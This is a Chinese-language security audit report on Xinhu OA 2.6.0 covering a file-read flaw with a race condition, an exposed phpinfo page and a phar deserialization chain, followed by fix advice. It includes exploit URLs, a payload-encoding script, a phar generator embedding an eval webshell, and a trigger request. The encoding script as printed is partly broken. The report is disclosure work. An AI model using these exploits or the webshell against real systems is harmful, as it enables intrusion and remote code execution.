信呼OA 2.6.0 半年前的一次审计
字数 965 2025-08-03 16:49:08
信呼OA 2.6.0 安全审计报告
环境搭建
-
系统要求:
- 信呼OA 2.6.0版本
- PHP 7.3.4环境
- 使用phpstudy搭建
-
调试配置:
- 在php.ini中添加XDebug配置:
[XDebug] zend_extension="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\php7.3.4nts\ext\php_xdebug.dll" xdebug.profiler_output_dir ="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\tmp\xdebug" xdebug.trace_output_dir="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\tmp" xdebug.auto_trace=1 xdebug.profiler_append=0 xdebug.profiler_enable=1 xdebug.profiler_enable_trigger=0 xdebug.remote_enable=1 xdebug.remote_handler="dbgp" xdebug.remote_host="127.0.0.1" xdebug.remote_port=9001 xdebug.remote_mode="req" xdebug.remote_autostart=1 xdebug.idekey=PHPSTORM xdebug.remote_cookie_expire_time=36000 -
Apache配置:
ErrorDocument 510 /error/510.html KeepAliveTimeout 5 MaxKeepAliveRequests 100 Timeout 36000 FcgidIOTimeout 36000 FcgidIdleTimeout 36000 IPCConnectTimeout 36000 IPCCommTimeout 36000
漏洞分析
1. 文件读取漏洞
漏洞路径:
index.php→view.php→asynrunAction.php→reimModel.php→curlChajian.php
漏洞原理:
asynrunAction.php中的downwxpicAction函数调用downximg函数picurl参数经过uncrypts函数解密- 通过
m函数调用webmain/model下的文件 reimModel.php中的downximg函数使用c函数调用curlChajian.php的getcurl函数getcurl函数支持多种协议(http、dict、file、gopher)- 存在条件竞争漏洞,可通过大量请求访问临时文件
利用步骤:
- 构造URL:
http://192.168.0.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&asynkey=918b1e2c90b72136d2d863c02b602726 - 加密
picurl参数(使用提供的Python脚本) - 多线程访问触发条件竞争
加密脚本:
import base64
a = "fdvzsakhgprcoxwuitjlbqynem"
b = {}
count = -1
for i in a:
count = count + 1
b[i] = count
print(b)
payload = "file:///D:/1.txt"
for z in payload:
flag = False
for i in b.keys():
for j in b.keys():
c = str(b[i]) + str(b[j])
if chr(int(c)) == z:
print(str(i) + ":" + str(j) + " 字母:" + z)
payload_encode += (str(i) + str(j)) + "0"
flag = True
break
if flag:
break
2. 后台信息泄露
漏洞路径:
http://192.168.162.249:8044/index.php?m=index&a=phpinfo&ajaxbool=false
影响:
- 直接暴露phpinfo信息
3. 反序列化漏洞
漏洞路径:
coginiAction.php的phpinisaveAction函数mysql.php的mysql类中的__destruct()函数
利用链:
- 通过
file_exists函数触发phar反序列化 mysql类的__destruct()方法可控- 通过
rockClass类的createtxt函数实现文件名截断
利用步骤:
-
生成phar文件:
<?php abstract class mysql{ public $rock; public function __construct($set_rock) { $this->rock = $set_rock; $this->sqlarr = ["a", "b"]; } } final class rockClass{ public $adminid; public $now; public function __construct($set_adminid, $set_now) { $this->adminid = $set_adminid; $this->now = $set_now; } } $path = "1.php:"; $now = "\n<?php phpinfo(); ?>\n"; class mysqliClass extends mysql{} $payload = new mysqliClass(new rockClass($path, $now)); @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($payload); $phar->addFromString("test.php", "<?php @eval(\$_GET[v]);?>"); $phar->stopBuffering(); -
上传phar文件(修改为jpg后缀)
-
触发反序列化:
POST http://192.168.105.249:8044/index.php?d=system&m=cogini&a=phpinisave&ajaxbool=false path=phar://D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\ccc.com\xinhu-master\upload\2023-12\14_15164671.jpg\test.php
修复建议
-
文件读取漏洞:
- 限制
picurl参数的内容和协议 - 加强文件操作的安全检查
- 修复条件竞争问题
- 限制
-
信息泄露:
- 移除或限制
phpinfo功能 - 加强权限控制
- 移除或限制
-
反序列化漏洞:
- 禁用不必要的反序列化操作
- 对输入参数进行严格过滤
- 更新phar文件处理逻辑
-
通用建议:
- 更新到最新版本
- 加强输入验证和过滤
- 实施最小权限原则
- 定期进行安全审计